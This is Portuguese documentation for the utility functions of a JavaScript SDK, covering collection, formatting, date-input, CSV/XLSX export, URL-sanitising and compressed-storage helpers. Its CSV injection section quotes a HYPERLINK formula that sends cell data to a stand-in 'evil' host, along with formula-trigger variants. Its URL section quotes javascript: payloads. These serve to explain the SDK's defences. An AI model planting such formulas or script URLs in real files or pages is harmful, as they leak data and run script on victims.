Utilitários
Coleção de funções puras, sem dependência de React, pra resolver as tarefas chatas do dia a dia — agrupar listas, mesclar objetos, debouncar callbacks, formatar bytes. Tudo é importado direto de tempest-react-sdk e funciona em qualquer ambiente JS (browser, Node, worker).
import { groupBy, pick, debounce, formatBytes } from "tempest-react-sdk";
Tree-shaking
Cada função é um export nomeado independente. Importe só o que usar — o bundler do seu app remove o resto.
Seção utils da gallery — rode localmente para interagir.
Arrays
Helpers de coleção que nunca mutam a entrada — sempre devolvem um novo array (ou objeto).
| Função | Assinatura | O que faz |
|---|---|---|
groupBy(items, key) |
<T, K>(items: T[], key: (item: T) => K) => Record<K, T[]> |
Agrupa items em baldes pela chave retornada por key. |
uniqueBy(items, key) |
<T>(items: T[], key: (item: T) => unknown) => T[] |
Remove duplicatas, mantendo a primeira ocorrência de cada chave. |
chunk(items, size) |
<T>(items: T[], size: number) => T[][] |
Quebra a lista em pedaços de no máximo size items. |
range(start, end, step?) |
(start: number, end: number, step?: number) => number[] |
Gera uma faixa numérica [start, end) com passo step (1). |
import { groupBy, uniqueBy, chunk, range } from "tempest-react-sdk";
groupBy([1, 2, 3, 4], (n) => (n % 2 === 0 ? "even" : "odd"));
// { odd: [1, 3], even: [2, 4] }
uniqueBy(
[
{ id: 1, v: "a" },
{ id: 1, v: "b" },
{ id: 2, v: "c" },
],
(u) => u.id,
);
// [{ id: 1, v: "a" }, { id: 2, v: "c" }]
chunk([1, 2, 3, 4, 5], 2); // [[1, 2], [3, 4], [5]]
range(0, 5); // [0, 1, 2, 3, 4]
range(0, 10, 2); // [0, 2, 4, 6, 8]
range(5, 0, -1); // [5, 4, 3, 2, 1]
chunk exige size >= 1
Chamar chunk(items, 0) lança RangeError. range com passo na direção errada (ou 0) devolve [] em vez de estourar.
Objetos
Cópias imutáveis e merge recursivo. Nenhuma dessas funções altera a entrada.
| Função | Assinatura | O que faz |
|---|---|---|
pick(obj, keys) |
<T, K extends keyof T>(obj: T, keys: K[]) => Pick<T, K> |
Novo objeto só com as chaves pedidas (chaves ausentes são puladas). |
omit(obj, keys) |
<T, K extends keyof T>(obj: T, keys: K[]) => Omit<T, K> |
Novo objeto sem as chaves indicadas. |
deepMerge(target, src) |
<T>(target: T, source: Partial<T>) => T |
Merge recursivo de objetos planos; arrays/instâncias substituem. |
isEmpty(value) |
(value: unknown) => boolean |
true pra null, "", [], {}, Map/Set vazios. |
import { pick, omit, deepMerge, isEmpty } from "tempest-react-sdk";
pick({ id: 1, name: "Ana", age: 30 }, ["id", "name"]);
// { id: 1, name: "Ana" }
omit({ id: 1, name: "Ana", age: 30 }, ["age"]);
// { id: 1, name: "Ana" }
interface Settings {
a: number;
nested: { x: number; y: number; z?: number };
}
const base: Settings = { a: 1, nested: { x: 1, y: 2 } };
deepMerge(base, { nested: { x: 1, y: 20, z: 30 } });
// { a: 1, nested: { x: 1, y: 20, z: 30 } }
isEmpty(0); // false — números nunca são "vazios"
isEmpty(false); // false
isEmpty(""); // true
deepMerge não funde arrays
Arrays e valores não-planos (datas, instâncias de classe, primitivos) substituem o valor do target inteiro — não há merge elemento a elemento. deepMerge({ tags: ["a", "b"] }, { tags: ["c"] }) resulta em { tags: ["c"] }.
Type guards
Narrowing seguro de tipos. Combinam bem com Array.prototype.filter e switch exaustivos.
| Função | Assinatura | O que faz |
|---|---|---|
isDefined(value) |
<T>(value: T \| null \| undefined) => value is T |
true quando o valor não é null nem undefined. |
isString(value) |
(value: unknown) => value is string |
true pra string primitiva. |
isNumber(value) |
(value: unknown) => value is number |
true pra número, excluindo NaN. |
isPlainObject(value) |
(value: unknown) => value is Record<string, unknown> |
true só pra objeto literal (não array/data/instância). |
assertNever(value, message?) |
(value: never, message?: string) => never |
Lança sempre — marca caminhos inalcançáveis. |
import { isDefined, isNumber, assertNever } from "tempest-react-sdk";
const xs: (number | null)[] = [1, null, 2];
const clean: number[] = xs.filter(isDefined); // [1, 2] — tipo já narrowed
isNumber(NaN); // false
isNumber("42"); // false
type Shape = "circle" | "square";
function area(shape: Shape): number {
switch (shape) {
case "circle":
return 1;
case "square":
return 2;
default:
return assertNever(shape); // erro de compilação se um caso for esquecido
}
}
assertNever é checagem de exaustividade
Use no default de um switch. Se você adicionar um membro novo à union e esquecer de tratá-lo, o TypeScript reclama na hora da compilação — e o runtime falha alto se algo escapar.
Funções
Wrappers de controle de execução. debounce e throttle expõem .cancel().
| Função | Assinatura | O que faz |
|---|---|---|
debounce(fn, wait) |
<A>(fn: (...a: A) => void, wait: number) => ((...a: A) => void) & { cancel } |
Adia fn até wait ms sem novas chamadas (trailing-edge). |
throttle(fn, wait) |
<A>(fn: (...a: A) => void, wait: number) => ((...a: A) => void) & { cancel } |
Executa no máximo 1x por wait ms (leading + trailing edge). |
once(fn) |
<A, R>(fn: (...a: A) => R) => (...a: A) => R |
Roda fn só na primeira chamada; depois devolve o cache. |
memoizeOne(fn) |
<A, R>(fn: (...a: A) => R) => (...a: A) => R |
Memoiza apenas a última chamada (args comparados com Object.is). |
import { debounce, throttle, once, memoizeOne } from "tempest-react-sdk";
const save = debounce((q: string) => search(q), 300);
save("a");
save("ab");
save("abc"); // só "abc" roda após 300ms
save.cancel(); // cancela a chamada pendente
const onScroll = throttle(() => render(), 200);
window.addEventListener("scroll", onScroll);
const init = once(() => expensiveSetup());
init(); // roda
init(); // devolve o mesmo resultado, sem re-rodar
const select = memoizeOne((a: number, b: number) => a + b);
select(1, 2); // calcula 3
select(1, 2); // cache 3
select(2, 2); // recalcula 4
memoizeOne lembra só do último
Diferente de um cache LRU — qualquer lista de argumentos diferente recomputa e substitui o cache. Ideal pra selectors derivados de props.
Promises
| Função | Assinatura | O que faz |
|---|---|---|
sleep(ms) |
(ms: number) => Promise<void> |
Resolve depois de ms milissegundos. |
withTimeout(promise, ms, msg?) |
<T>(promise: Promise<T>, ms: number, message?: string) => Promise<T> |
Corre promise contra um timeout; rejeita com TimeoutError. |
import { sleep, withTimeout } from "tempest-react-sdk";
await sleep(500); // pausa meio segundo
try {
await withTimeout(fetch("/slow"), 3000, "request too slow");
} catch (error) {
// error.name === "TimeoutError" quando estourou os 3s
}
IDs
| Função | Assinatura | O que faz |
|---|---|---|
randomId(prefix?) |
(prefix?: string) => string |
Id resistente a colisão (usa crypto.randomUUID() com fallback). |
import { randomId } from "tempest-react-sdk";
randomId(); // "9f1c2b3a-..." (uuid) ou "lq3f8k-4a9z1" (fallback)
randomId("user"); // "user-9f1c2b3a-..."
Bom pra keys de UI
Use em listas geradas no cliente quando não há id estável vindo do servidor. Para ids persistidos, prefira o id real do backend.
Strings
| Função | Assinatura | O que faz |
|---|---|---|
capitalize(value) |
(value: string) => string |
Maiúscula só no primeiro caractere. |
camelCase(value) |
(value: string) => string |
Converte pra camelCase. |
kebabCase(value) |
(value: string) => string |
Converte pra kebab-case (quebra também em camelCase). |
pluralize(count, singular, pl?) |
(count: number, singular: string, plural?: string) => string |
Escolhe singular/plural pela contagem (devolve só a palavra). |
import { capitalize, camelCase, kebabCase, pluralize } from "tempest-react-sdk";
capitalize("hello world"); // "Hello world"
camelCase("foo-bar_baz"); // "fooBarBaz"
camelCase("API response"); // "apiResponse"
kebabCase("helloWorld"); // "hello-world"
kebabCase("APIResponse"); // "api-response"
pluralize(1, "item"); // "item"
pluralize(3, "item"); // "items"
pluralize(2, "person", "people"); // "people"
Pré-existentes — slugify e truncate
Já presentes no módulo de strings: slugify(input) gera um slug URL-safe ("São Paulo / Centro" → "sao-paulo-centro"), e truncate(input, max, suffix?) corta texto em max caracteres acrescentando … (ou o suffix informado).
Números
| Função | Assinatura | O que faz |
|---|---|---|
formatBytes(bytes, decimals?) |
(bytes: number, decimals?: number) => string |
Tamanho legível em B/KB/MB/GB/TB (base 1024). |
formatCompactNumber(value, loc?) |
(value: number, locale?: string) => string |
Notação compacta (1.2K, 3.4M) via Intl.NumberFormat. |
percentOf(part, total) |
(part: number, total: number) => number |
Percentual 0–100, com base zero devolvendo 0. |
formatPercent(value, options?) |
(value: number, options?: { decimals?: number }) => string |
Fração 0–1 como percentual pt-BR; decimals default 1. |
import { formatBytes, formatCompactNumber, clamp } from "tempest-react-sdk";
formatBytes(0); // "0 B"
formatBytes(1536); // "1.5 KB"
formatBytes(1536, 2); // "1.50 KB"
formatCompactNumber(1234); // "1.2K"
formatCompactNumber(5600000); // "5.6M"
formatCompactNumber(1234, "pt-BR"); // "1,2 mil"
formatPercent(0.9874); // "98,7%"
formatPercent(0.9874, { decimals: 2 }); // "98,74%"
formatPercent(0 / 0); // "—"
decimals é fixo: preenche e trunca
formatPercent(0.5, { decimals: 3 }) é "50,000%", não "50%". Coluna de
números fica alinhada, que é o caso em que a casa a mais importa — a confiança
de um classificador a 98,7% no card de resumo e a 98,74% na tela de detalhe são
duas leituras diferentes do mesmo número, e a precisão pertence ao call site.
Entrada não-finita vira —, não NaN%
Intl.NumberFormat renderiza NaN como "NaN%" e Infinity como "∞%" —
uma divisão por zero lá em cima vira uma tela que parece bug em vez de dado
ausente. formatPercent devolve "—", alinhado com o formatDurationMs de
/perf, que já respondia assim.
O par com percentOf continua valendo: ele recebe fração (0–1), então é
formatPercent(percentOf(a, b) / 100).
Pré-existente — clamp
clamp(value, min, max) prende um número no intervalo [min, max] (e tolera min > max, trocando os limites). clamp(120, 0, 100) → 100.
percentOf existe pelo NaN%, não pela divisão
(ativos / total) * 100 com total === 0 produz NaN, e NaN% no painel vazio é a forma mais comum de um dashboard anunciar que ainda não tem dado. percentOf(5, 0) é 0; não-finito também vira 0.
Ele não limita em 100 — 150% de uma meta é dado real que alguém quer ver.
Cuidado com o par: formatPercent recebe fração (0–1), então é formatPercent(percentOf(a, b) / 100).
Valor ausente — uma resposta só
Todo campo de data de uma API é anulável (deleted_at, expires_at, metade dos updated_at), e todo número pode faltar. Os formatadores do SDK respondem a isso de um jeito só: —.
import { formatCurrency, formatDate, ABSENT_TEXT } from "tempest-react-sdk";
formatCurrency(saldo); // "—" quando saldo é null
formatDate(pedido.entregueEm); // "—" quando ainda não foi entregue
formatDate(pedido.entregueEm, { fallback: "pendente" }); // o texto é seu
ABSENT_TEXT; // "—", para quando a sua própria célula precisa combinar
Vale para formatCurrency, formatBytes, formatCompactNumber, formatPercent, formatDate e formatDateTime. Os dois que alimentam <input> — formatDateForInput e formatDateTimeForInput — respondem "", porque é o que um input lê como "sem valor"; um travessão chegaria como conteúdo que o usuário precisa apagar antes de digitar.
Antes da 0.66.0, ausente virava número plausível
Medido na 0.65.0, com o que chegava à tela para uma coluna que o backend deixou nula:
| entrada | formatCurrency |
formatBytes |
formatCompactNumber |
formatDate |
|---|---|---|---|---|
null |
"R$ 0,00" |
"NaN undefined" |
"0" |
lança TypeError |
undefined |
"R$ NaN" |
"NaN undefined" |
"NaN" |
lança TypeError |
Os dois zeros são o motivo de isto ser correção de dado, e não de aparência: NaN pelo menos parece quebrado, enquanto R$ 0,00 e 0 são números que o leitor não tem como questionar — Intl converte null em zero, e ninguém a jusante distingue isso de um zero real.
E formatDate(null) derrubava a tela: null.getTime é TypeError, então uma coluna anulável não rendia um espaço em branco, rendia um erro.
Ausente e inválido não são a mesma coisa
Valor presente que não dá para interpretar — um ISO corrompido — continua respondendo "", e isso é de propósito. Lendo um log, "ninguém preencheu" e "o que preencheram está quebrado" são achados diferentes, e o segundo é o que vale investigar. Uma célula vazia e uma com — param de significar a mesma coisa.
Data para <input type="date"> — formatDateForInput
formatDate produz dd/MM/yyyy, que um <input type="date"> rejeita — ele exige yyyy-MM-dd. Todo formulário com data reescreve esse recorte, e reescreve errado.
import { formatDateForInput } from "tempest-react-sdk";
formatDateForInput(new Date(2026, 4, 16)); // "2026-05-16"
formatDateForInput("2026-05-16"); // "2026-05-16"
formatDateForInput("não é data"); // "" — o input lê como "sem valor"
toISOString().slice(0, 10) erra o dia, e erra só à noite
É o reflexo de todo mundo, e toISOString converte pra UTC antes: em UTC-3, qualquer horário depois das 21h reporta o dia seguinte. O formulário abre na data errada só pra quem mexe à noite, que é o pior tipo de bug pra reproduzir. formatDateForInput monta a data pelas partes locais.
String yyyy-MM-dd volta intacta — e isso é essencial, não atalho
new Date("2026-05-16") é meia-noite UTC, que em UTC-3 é dia 15 às 21h. Sem esse desvio, devolver ao input exatamente o valor que o backend mandou o moveria um dia pra trás.
Data e hora para <input type="datetime-local"> — formatDateTimeForInput
O irmão do anterior, para o campo que guarda quando, não só qual dia. A armadilha é idêntica — e aqui ela cobra a hora junto com a data.
import { formatDateTimeForInput } from "tempest-react-sdk";
formatDateTimeForInput(new Date(2026, 4, 16, 14, 30)); // "2026-05-16T14:30"
formatDateTimeForInput("2026-05-16T14:30"); // "2026-05-16T14:30"
formatDateTimeForInput("2026-05-16T14:30:45"); // "2026-05-16T14:30" — segundos caem
formatDateTimeForInput("não é data"); // "" — o input lê como "sem valor"
Um agendamento que volta do backend em ISO com fuso preenche o campo sem deslocar:
import { formatDateTimeForInput } from "tempest-react-sdk";
interface Appointment {
id: string;
/** ISO 8601 com fuso, como o backend serializa. */
startsAt: string;
}
export function AppointmentForm({ appointment }: { appointment: Appointment }) {
return (
<form method="post">
<label htmlFor="startsAt">Início</label>
<input
id="startsAt"
name="startsAt"
type="datetime-local"
defaultValue={formatDateTimeForInput(appointment.startsAt)}
/>
<button type="submit">Salvar</button>
</form>
);
}
toISOString().slice(0, 16) erra a data e a hora
Mesma causa do irmão, dano maior: um horário das 22h em UTC-3 vira 2026-05-17T01:00 — o formulário abre no dia seguinte, de madrugada. formatDateTimeForInput monta tudo pelas partes locais.
String com fuso não volta intacta, e é de propósito
"2026-05-16T14:30" (ingênua) volta como está. "2026-05-16T14:30:00Z" não — é um instante diferente do que parece, então é convertido para o calendário local que o campo precisa mostrar. Só o formato exato yyyy-MM-ddTHH:mm pega o atalho.
Os segundos caem, e isso mantém o valor honesto
Um datetime-local anda de minuto em minuto a menos que o app defina step. Um :ss que o campo não representa seria descartado na primeira edição de qualquer jeito — truncar aqui faz o valor exibido e o valor submetido serem o mesmo.
Planilhas .xlsx — writeXlsx
Exportar dados como CSV parece simples até um acento virar é no Excel. writeXlsx(headers, rows) gera um workbook Office Open XML (.xlsx) de uma aba direto em memória — UTF-8 de ponta a ponta, então acentos sobrevivem em Excel/LibreOffice/Google Sheets sem a fragilidade de BOM do CSV. A única dependência é o fflate (usado para deflate do pacote), já embutido no SDK.
import { writeXlsx } from "tempest-react-sdk";
const bytes = writeXlsx(
["Nome", "Score", "Observação"],
[
["Ada", 99, "aprovada"],
["Alan", 87, null], // null vira célula vazia
],
);
const blob = new Blob([bytes], {
type: "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet",
});
headers: string[]— a primeira linha (cabeçalho).rows: (string | number | null)[][]— cada valor vira uma célula:numberusa o tipo nativo"n"(o app de planilha reconhece como número),null(ou"") vira célula vazia, o resto é string inline.- Retorna os bytes do arquivo como
Uint8Array.
O XML é enxuto de propósito: strings inline (sem tabela de shared-strings), sem estilos, sem merge. É um escritor genérico — mapeie seus registros de domínio para headers/rows na camada da sua aplicação.
Do byte ao usuário
Combine com shareOrDownloadBlob: writeXlsx → new Blob([...]) → shareOrDownloadBlob(blob, "dados.xlsx") abre a sheet nativa no celular e baixa no desktop.
CSV — toCsv e downloadCsv
O .xlsx é o formato certo pra quem vai abrir a planilha. CSV é o formato certo pra quem vai importar o arquivo em outro sistema — e é o que quase todo painel acaba escrevendo na mão, errando sempre nos mesmos dois pontos: um nome com vírgula parte a linha, e um nome com aspas quebra justamente a proteção que as aspas deveriam dar.
import { toCsv, downloadCsv, type CsvColumn } from "tempest-react-sdk";
const COLUNAS: CsvColumn<Usuario>[] = [
{ key: "nome", header: "Nome" },
{ key: "email", header: "E-mail" },
{ key: "plano", header: "Plano", csv: (u) => u.plano?.label ?? "" },
];
const texto = toCsv(usuarios, COLUNAS); // string pronta
await downloadCsv(usuarios, COLUNAS, "usuarios.csv"); // entrega ao usuário
| Assinatura | O que faz |
|---|---|
toCsv(rows, columns, options?) |
Devolve o arquivo inteiro como string. |
downloadCsv(rows, columns, fileName?, options?) |
Monta o blob text/csv;charset=utf-8 e passa pro shareOrDownloadBlob. |
CsvColumn<T> |
{ key, header, csv? } |
CsvOptions |
{ delimiter?: "," \| ";", bom?: boolean, neutralizeFormulas?: boolean } — defaults ",", true e true. |
A coluna do DataTable não serve direto quando tem render
DataTableColumn.render devolve ReactNode. Exportar isso escreve [object Object] justamente na coluna que tem badge, link ou data formatada — a mais importante da tabela. Uma coluna sem render é estruturalmente compatível e pode ser reaproveitada; com render, dê o acessor csv.
Escaping RFC 4180, e o BOM que o Excel pt-BR exige
Campo com o delimitador, com aspas ou com quebra de linha vira campo citado — e, com neutralizeFormulas ligado, também o texto que tem ,, ; ou TAB, seja qual for o delimitador (ver abaixo) —, e cada aspas interna é duplicada. O arquivo termina as linhas com \r\n. O BOM vem por padrão porque sem ele o Excel em pt-BR lê UTF-8 como Latin-1 e todo acento vira mojibake.
Fórmula vira texto por padrão (CSV injection)
Campo de texto que começa com =, +, -, @, TAB ou CR é tratado como início de fórmula pela lista da OWASP — Excel e Google Sheets leem assim; o LibreOffice 26.2 avaliou só o = (tabela abaixo). Abrir o arquivo avalia a fórmula. Um nome de usuário =HYPERLINK("https://evil/?d="&A1,"ver") vira um link que vaza as outras células. Por isso toCsv e downloadCsv prefixam ' nesses campos, como recomenda a OWASP: o LibreOffice 26.2 importou =1+2 como a fórmula of:=1+2 (valor 3) antes, e como o texto '=1+2 depois.
Número não é tocado: célula number, ou texto que é só número ("-5", "-1.234,56", "+42"), não pode ser fórmula — e prefixar transformaria todo valor negativo do relatório em texto. O "-" sozinho também fica como está: é o placeholder de "sem valor" e não tem operando para virar fórmula. O custo é o ' visível no texto neutralizado. Se o arquivo vai pro importador de outro sistema, e não pra planilha de uma pessoa, desligue com { neutralizeFormulas: false } e os bytes saem como vieram.
Como cada entrada é lida, medido convertendo o CSV com o LibreOffice 26.2 headless (soffice --headless --infilter="CSV:59,34,76,1" --convert-to fods) e lendo o table:formula de cada célula:
| Entrada | Sem prefixo (neutralizeFormulas: false) |
Com prefixo (padrão) |
|---|---|---|
=1+2 |
fórmula, valor 3 |
texto '=1+2 |
=HYPERLINK("http://…/?d="&A1,"x") |
fórmula | texto |
+55 (11) 99999-9999 |
texto | texto '+55 (11) 99999-9999 |
@maria |
texto | texto '@maria |
- |
texto | texto - (isento) |
TAB + =1+1 |
texto | texto ' + TAB + =1+1 (medido antes do #481; hoje o campo também sai entre aspas, ver abaixo) |
espaço + =1+1 |
texto | texto (não é gatilho) |
\n=1+1 (campo entre aspas) |
texto | texto (não é gatilho) |
O LibreOffice só avaliou o =. +, @ e TAB seguem no gatilho porque Excel e Google Sheets os leem como início de fórmula — essa é a lista da OWASP, e ela não foi medida aqui no Excel.
Delimitador ; é o certo em locale pt-BR
Onde o separador decimal é a vírgula, o Excel abre um CSV separado por vírgula em uma coluna só. { delimiter: ";" } resolve — e o escaping acompanha, citando o campo que contém ;.
Texto com o separador do outro locale sai entre aspas
O mesmo arquivo costuma ser aberto por planilhas com separadores diferentes: num CSV com ,, um Excel pt-BR pode partir a linha em ;. Por isso o texto que tem ,, ; ou TAB sempre sai entre aspas, seja qual for o delimitador. Campo entre aspas não é dividido pela planilha, então o trecho depois do separador nunca começa uma célula — e o texto do usuário sai intacto, sem ' no meio. Com o delimitador padrão:
| Entrada | Antes (até a 0.77) | Agora |
|---|---|---|
x;=HYPERLINK(CHAR(104)&A1) |
x;=HYPERLINK(CHAR(104)&A1) |
"x;=HYPERLINK(CHAR(104)&A1)" |
a,=1+2 (com delimiter: ";") |
a,=1+2 |
"a,=1+2" |
x + TAB + =1+2 |
x + TAB + =1+2 |
"x + TAB + =1+2" |
TAB + =1+1 |
' + TAB + =1+1 |
"' + TAB + =1+1" (um prefixo só, no início) |
-1.234,56 (com delimiter: ";") |
-1.234,56 |
-1.234,56 (número puro: sem aspas) |
O ' continua só no início do campo, como antes. Saída medida com toCsv nas duas versões; nenhuma planilha estava disponível no ambiente, então como o Excel e o LibreOffice leem esses arquivos não foi medido. { neutralizeFormulas: false } desliga isso também e mantém a citação só pelo delimitador.
0 e false são exportados; null e undefined viram campo vazio
Vazio é ausência, não falsidade. Tratar 0 como vazio é como um relatório passa a sub-reportar toda linha que legitimamente vale zero. Date sai em ISO, que qualquer sistema reimporta sem adivinhar formato.
Lista vazia gera o cabeçalho, não um arquivo vazio
Quem abre precisa ver quais colunas pediu. Arquivo de zero byte parece erro de exportação.
URL que veio de outra pessoa — safeLinkUrl, safeImageUrl, safeAttachmentUrl
Todo href montado com dado de usuário é um lugar onde javascript:alert(1) vira script no clique. O React 19 troca um href javascript: por um stub que lança erro, mas o SDK aceita React 18 — e o 18 só avisa no console. Medido com react-dom 18.3.1: o href sai literal, e clicar roda o script no Chromium 153 e no Firefox 155, mesmo com download no <a>.
Os três helpers são a mesma allowlist de esquema que o Markdown e o Chat usam por dentro. Devolvem a URL, ou null quando ela não pode virar href/src:
import { safeAttachmentUrl, safeImageUrl, safeLinkUrl } from "tempest-react-sdk";
export function Anexo({ url, nome }: { url: string; nome: string }) {
const href = safeAttachmentUrl(url);
return href ? (
<a href={href} download={nome}>
{nome}
</a>
) : (
<span>{nome}</span>
);
}
safeLinkUrl("https://x.dev"); // "https://x.dev"
safeLinkUrl("JaVaScRiPt:alert(1)"); // null
safeImageUrl("data:image/svg+xml;base64,PHN2Zz4="); // null
| Helper | Aceita | Use em |
|---|---|---|
safeLinkUrl |
http, https, mailto, tel, sms, relativa |
link que a pessoa clica |
safeImageUrl |
o mesmo + data:image/ raster (png/jpeg/gif/webp/avif/bmp) |
src de imagem |
safeAttachmentUrl |
http, https, blob, relativa + data:image/ raster |
arquivo pra baixar — blob: é o upload ainda em voo |
Allowlist, não blocklist
Antes de comparar, os três tiram espaço e caractere de controle, então java\tscript: e \u0001javascript: caem como javascript:. Uma blocklist teria que enumerar cada grafia; a allowlist recusa o que não conhece.
safeAttachmentUrl devolve a URL como veio
O esquema é julgado na forma normalizada, mas o retorno é o original: normalizar apaga espaço, e /arquivos/relatório final.pdf é um caminho real. A normalização só remove caracteres — mais do que o parser de URL do navegador remove —, então não há esquema que ele veja e o helper não.
Storage comprimido — compressedStorage
localStorage dá cerca de 5 MB por origem e cobra dois bytes por caractere. Um app offline-first que guarda estado de verdade — um save de jogo, um rascunho longo, um cache de catálogo — bate nesse teto antes do que parece, e o sintoma é um QuotaExceededError no meio de uma escrita, não um aviso.
compressedStorage é o mesmo wrapper tipado do storage, só que gzipando o que escreve:
import { compressedStorage } from "tempest-react-sdk";
compressedStorage.set("save", { level: 12, inventory: items });
const save = compressedStorage.get("save", null);
get<T>(key, fallback)— descomprime e faz parse. Chave ausente, ilegível ou corrompida devolvefallback; nunca lança.set<T>(key, value)— comprime e grava.remove(key)— apaga a chave.
Mesma implementação dos dois, via createJsonStorage
storage e compressedStorage são a mesma função por baixo —
createJsonStorage(codec) — então a superfície dos dois não pode divergir. Até
a v0.44.0 o comprimido era uma cópia escrita à mão das mesmas guardas, e não
tinha remove, enquanto a docstring dele prometia que os dois eram
intercambiáveis no call site. Quem seguiu a promessa quebrou no primeiro
remove.
Codec próprio é o mesmo caminho:
import { createJsonStorage } from "tempest-react-sdk";
// Um store que cifra antes de gravar.
const secrets = createJsonStorage({
serialize: (value) => encrypt(JSON.stringify(value)),
deserialize: (raw) => JSON.parse(decrypt(raw)),
});
Se o codec lançar, o valor é gravado como JSON puro em vez de descartado: registro maior ainda carrega, registro ausente não. Só um valor que nem JSON representa (referência circular) perde a escrita.
O formato é autodescritivo
Cada valor gravado leva o prefixo ~tgz1:. Isso resolve o problema chato de ligar compressão numa chave que já existe: uma leitura sem o marcador cai no JSON.parse normal, então os dados que já estavam lá continuam legíveis. Nada de migração, nada de save órfão.
O mesmo caminho cobre a escrita degradada: se a compressão falhar, o valor é gravado como JSON puro em vez de descartado — um registro maior ainda carrega, um ausente não.
Por que base64, e não empacotar em UTF-16
Base64 gasta um terço a mais de caracteres que os bytes comprimidos, e o localStorage ainda cobra dois bytes por caractere em cima disso. Empacotar os bytes direto em code units UTF-16 seria mais denso, mas surrogates soltos não sobrevivem a toda implementação de storage nem a um round-trip de JSON — e um save que decodifica em lixo é muito pior que um save maior. Mesmo com essa folga, um JSON típico fica bem abaixo de um terço do tamanho original.
Com useLocalStorage
Para estado React, passe o codec em vez de usar a API imperativa — você ganha a sincronia entre abas e o guard de SSR do hook de graça:
import { compressedStorageCodec, useLocalStorage } from "tempest-react-sdk";
const [save, setSave] = useLocalStorage("save", EMPTY_SAVE, compressedStorageCodec);
compressToString / decompressFromString também são exportados soltos, para quando o destino não é localStorage (um POST de backup, um IndexedDB).
Não é para tudo
Comprimir custa CPU nas duas pontas. Para uma preferência de tema ou um flag booleano, use o storage normal — o ganho é zero e o custo não. compressedStorage vale a partir de payloads na casa das dezenas de KB.
String crua — getRaw e setRaw
get/set passam pelo codec nas duas pontas: storage.set("tema", "dark") grava "dark" — com as aspas. Isso é certo enquanto a chave é sua, e é um problema silencioso no dia em que ela não é:
import { storage } from "tempest-react-sdk";
localStorage.setItem("tema", "dark"); // o que o app já tinha, ou outra lib
storage.get("tema", "system"); // "system" — o JSON.parse falhou e caiu no fallback
storage.getRaw("tema"); // "dark"
storage.setRaw("tema", "dark"); // grava dark, sem aspas — o leitor antigo continua lendo
getRaw(key)— devolve a string exatamente como está, ounull(chave ausente, storage indisponível).setRaw(key, value)— grava a string exatamente como veio.
Mesma política best-effort do par JSON: SSR-safe, nunca lança, silencia erro de quota e de modo privativo.
Adotar o storage numa chave que já existe é migração, não troca de import
Sem o par cru, trocar localStorage.getItem por storage.get faz duas coisas ao mesmo tempo: a leitura do valor antigo cai no catch e devolve o fallback, e a primeira escrita substitui o valor por uma versão entre aspas que o código antigo não reconhece mais. Nada falha visivelmente. Numa PWA instalada isso é preferência do usuário resetada; quando a chave guarda refresh token, é logout.
Use getRaw/setRaw na chave que já existe, ou migre-a de propósito — lendo com getRaw e regravando com set.
Interop com quem não fala JSON
A chave tempest-theme do ThemeProvider é o exemplo dentro do próprio SDK: ela guarda dark puro, porque é lida também pelo script inline de themeInitScript(), antes de qualquer JavaScript do app rodar. Desde a v0.65.0 o ThemeProvider usa storage.getRaw/setRaw, então há um caminho só de acesso ao localStorage no SDK — e a chave continua legível por quem a lê à mão.
Também vale para store com codec
getRaw num compressedStorage devolve a string comprimida com o marcador ~tgz1:, sem descomprimir: cru quer dizer sem codec, não sem compressão especificamente.
Recap
- Importe qualquer helper direto de
tempest-react-sdk— todos são exports nomeados, puros e tree-shakable. - Planilhas:
writeXlsx(headers, rows)gera um.xlsxUTF-8 de uma aba comoUint8Array(sem drama de BOM do CSV). - CSV:
toCsv(rows, columns)escreve o arquivo com escaping RFC 4180 e BOM, e neutraliza fórmula por padrão;downloadCsv(...)entrega direto ao usuário. - URL de usuário:
safeLinkUrl,safeImageUrlesafeAttachmentUrldevolvem a URL ounull— allowlist de esquema antes de qualquerhref/src. - Datas e percentuais:
formatDateForInputdá oyyyy-MM-ddque o<input type="date">exige eformatDateTimeForInputdá oyyyy-MM-ddTHH:mmdo<input type="datetime-local">(os dois pelas partes locais, sem o desvio de UTC);percentOfdevolve0em vez deNaNquando a base é zero. - Storage comprimido:
compressedStorage.get/setgzipa o que grava; formato autodescritivo (~tgz1:) lê valores antigos sem migração. Com React,useLocalStorage(key, def, compressedStorageCodec). - Arrays/Objetos:
groupBy,uniqueBy,chunk,range,pick,omit,deepMerge,isEmpty— sempre imutáveis;deepMergesubstitui arrays em vez de fundir. - Guards:
isDefined,isString,isNumber,isPlainObject,assertNever— narrowing seguro + exaustividade emswitch. - Funções:
debounce/throttle(com.cancel()),once,memoizeOnepara controlar execução. - Promises/IDs/Strings/Números:
sleep,withTimeout,randomId,capitalize/camelCase/kebabCase/pluralize,formatBytes/formatCompactNumber.
Veja também
- Hooks utilitários —
useDebounceé a versão React dedebounce. - Utilitários & headless — componentes que embrulham parte desses helpers (
Money,RelativeTime).
